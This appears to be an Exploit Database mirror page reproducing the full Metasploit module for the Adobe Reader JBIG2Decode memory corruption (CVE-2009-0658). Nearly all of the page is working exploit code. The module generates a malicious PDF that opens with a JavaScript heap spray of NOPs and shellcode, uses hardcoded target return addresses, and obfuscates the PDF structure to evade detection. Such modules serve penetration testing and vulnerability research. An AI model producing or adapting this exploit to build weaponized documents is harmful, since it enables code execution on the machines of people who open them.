Adobe – JBIG2Decode Memory Corruption (Metasploit) (2)

• Exploit Database
• 83 阅读

• 作者： Metasploit
  日期： 2010-09-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16672/

• ##
  # $Id: adobe_jbig2decode.rb 10477 2010-09-25 11:59:02Z mc $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  require 'zlib'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Adobe JBIG2Decode Memory Corruption Exploit',
  			'Description'=> %q{
  					This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
  					This module relies upon javascript for the heap spray.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					# Metasploit implementation
  					'natron',
  					# bl4cksecurity blog explanation of vuln [see References]
  					'xort', 'redsand',
  					# obfuscation techniques and pdf template from util_printf
  					'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
  				],
  			'Version'=> '$Revision: 10477 $',
  			'References' =>
  				[
  					[ 'CVE' , '2009-0658' ],
  					[ 'OSVDB', '52073' ],
  					[ 'URL', 'http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'BadChars'=> ""
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)
  					[ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)
  				],
  			'DisclosureDate' => 'Feb 19 2009',
  			'DefaultTarget'=> 0))
  
  		register_options([
  			OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']),
  		], self.class)
  
  		end
  
  	def exploit
  		# Encode the shellcode.
  		shellcode 		= Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  		ptroverwrite 	= Rex::Text.to_unescape([target.ret].pack("V"))
  
  		nops= Rex::Text.to_unescape(make_nops(4))
  
  		# Randomize some variables
  		rand1	= rand_text_alpha(rand(50) + 1)
  		rand2	= rand_text_alpha(rand(50) + 1)
  		rand3	= rand_text_alpha(rand(50) + 1)
  		rand4	= rand_text_alpha(rand(50) + 1)
  		rand5	= rand_text_alpha(rand(50) + 1)
  		rand6	= rand_text_alpha(rand(50) + 1)
  		rand7	= rand_text_alpha(rand(50) + 1)
  		rand8	= rand_text_alpha(rand(50) + 1)
  		rand9	= rand_text_alpha(rand(50) + 1)
  		rand10	= rand_text_alpha(rand(50) + 1)
  		rand11	= rand_text_alpha(rand(50) + 1)
  		rand12	= rand_text_alpha(rand(50) + 1)
  		rand13	= rand_text_alpha(rand(50) + 1)
  		rand14	= rand_text_alpha(rand(50) + 1)
  		rand15	= rand_text_alpha(rand(50) + 1)
  		rand16	= rand_text_alpha(rand(50) + 1)
  
  		script = %Q|
  		var #{rand1} = "";
  		var #{rand2} = "";
  		var #{rand3} = unescape("#{shellcode}");
  		var #{rand4} = "";
  
  		for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");
  		#{rand6} = #{rand4} + #{rand3};
  		#{rand7} = unescape("#{nops}");
  		#{rand8} = 20;
  		#{rand9} = #{rand8}+#{rand6}.length
  		while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};
  		#{rand10} = #{rand7}.substring(0, #{rand9});
  		#{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});
  		while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};
  		#{rand12} = new Array();
  		for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};
  
  		for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");
  		#{rand13} = #{rand2}.length + 20
  		while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};
  		#{rand14} = #{rand2}.substring(0, #{rand13});
  		#{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});
  		while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};
  		#{rand16} = new Array();
  		for (#{rand5}=0;#{rand5}<125;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};
  |
  		eaxptr		= "\x00\x20\x50\xff" 		# CALL DWORD PTR DS:[EAX+20]
  		eaxp20ptr	= "\x05\x69\x50\x50"		# Shellcode location called by CALL DWORD PTR DS:[EAX+20]
  		modifier	= "\x00\x69\x00\x00"		# ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418
  								# natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000
  								# EAX: 0x690000 ECX: 0x2004a00 WriteAddr: 0xa3449ec
  								# EAX: 0x690000 ECX: 0x358a228 WriteAddr: 0xb8ca214
  
  		jbig2stream	= eaxptr + "\x40\x00" + modifier + eaxp20ptr
  
  		# Create the pdf
  		pdf = make_pdf(script, jbig2stream)
  
  		print_status("Creating '#{datastore['FILENAME']}' file...")
  
  		file_create(pdf)
  	end
  
  	def RandomNonASCIIString(count)
  		result = ""
  		count.times do
  			result << (rand(128) + 128).chr
  		end
  		result
  	end
  
  	def ioDef(id)
  		"%d 0 obj" % id
  	end
  
  	def ioRef(id)
  		"%d 0 R" % id
  	end
  
  	#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  	def nObfu(str)
  		result = ""
  		str.scan(/./u) do |c|
  			if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
  				result << "#%x" % c.unpack("C*")[0]
  			# Randomize the spaces and newlines
  			elsif c == " "
  				result << " " * (rand(3) + 1)
  				if rand(2) == 0
  					result << "\x0d\x0a"
  					result << " " * rand(2)
  				end
  			else
  				result << c
  			end
  		end
  		result
  	end
  
  	def ASCIIHexWhitespaceEncode(str)
  		result = ""
  		whitespace = ""
  		str.each_byte do |b|
  			result << whitespace << "%02x" % b
  			whitespace = " " * (rand(3) + 1)
  		end
  		result << ">"
  	end
  
  	def make_pdf(js, jbig2)
  
  		xref = []
  		eol = "\x0d\x0a"
  		endobj = "endobj" << eol
  
  		pdf = "%PDF-1.5" << eol
  		pdf << "%" << RandomNonASCIIString(4) << eol
  		xref << pdf.length
  		pdf << nObfu(" ") << ioDef(1) << nObfu(" << /Type /Catalog /Outlines ") << ioRef(2) << nObfu(" /Pages ") << ioRef(3) << nObfu(" /OpenAction ") << ioRef(5) << " >> " << endobj
  		xref << pdf.length
  		pdf << nObfu(" ") << ioDef(2) << nObfu(" << /Type /Outlines /Count 0 >> ") << endobj
  		xref << pdf.length
  		pdf << nObfu(" ") << ioDef(3) << nObfu(" << /Type /Pages /Kids [ ") << ioRef(4) << nObfu(" ") << ioRef(7) << nObfu(" ] /Count 2 >> ") << endobj
  		xref << pdf.length
  		pdf << nObfu(" ") << ioDef(4) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << nObfu(" /MediaBox [0 0 612 792 ] >> ") << endobj
  		xref << pdf.length
  		pdf << nObfu(" ") << ioDef(5) << nObfu(" << /Type /Action /S /JavaScript /JS ") + ioRef(6) + " >> " << endobj
  		xref << pdf.length
  
  		compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js), rand(5)+4) # Add random 4-9 compression level
  		pdf << nObfu(" ") << ioDef(6) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol
  		pdf << "stream" << eol
  		pdf << compressed << eol
  		pdf << "endstream" << eol
  		pdf << endobj
  		xref << pdf.length
  
  		pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol
  
  		xref << pdf.length
  		compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
  		pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
  		pdf << "stream" << eol
  		pdf << compressed << eol
  		pdf << "endstream" << eol
  		pdf << endobj
  
  		xrefPosition = pdf.length
  		pdf << "xref" << eol
  		pdf << "0 %d" % (xref.length + 1) << eol
  		pdf << "0000000000 65535 f" << eol
  		xref.each do |index|
  			pdf << "%010d 00000 n" % index << eol
  		end
  		pdf << "trailer" << nObfu("<< /Size %d /Root " % (xref.length + 1)) << ioRef(1) << " >> " << eol
  		pdf << "startxref" << eol
  		pdf << xrefPosition.to_s() << eol
  		pdf << "%%EOF" << eol
  	end
  
  end
  

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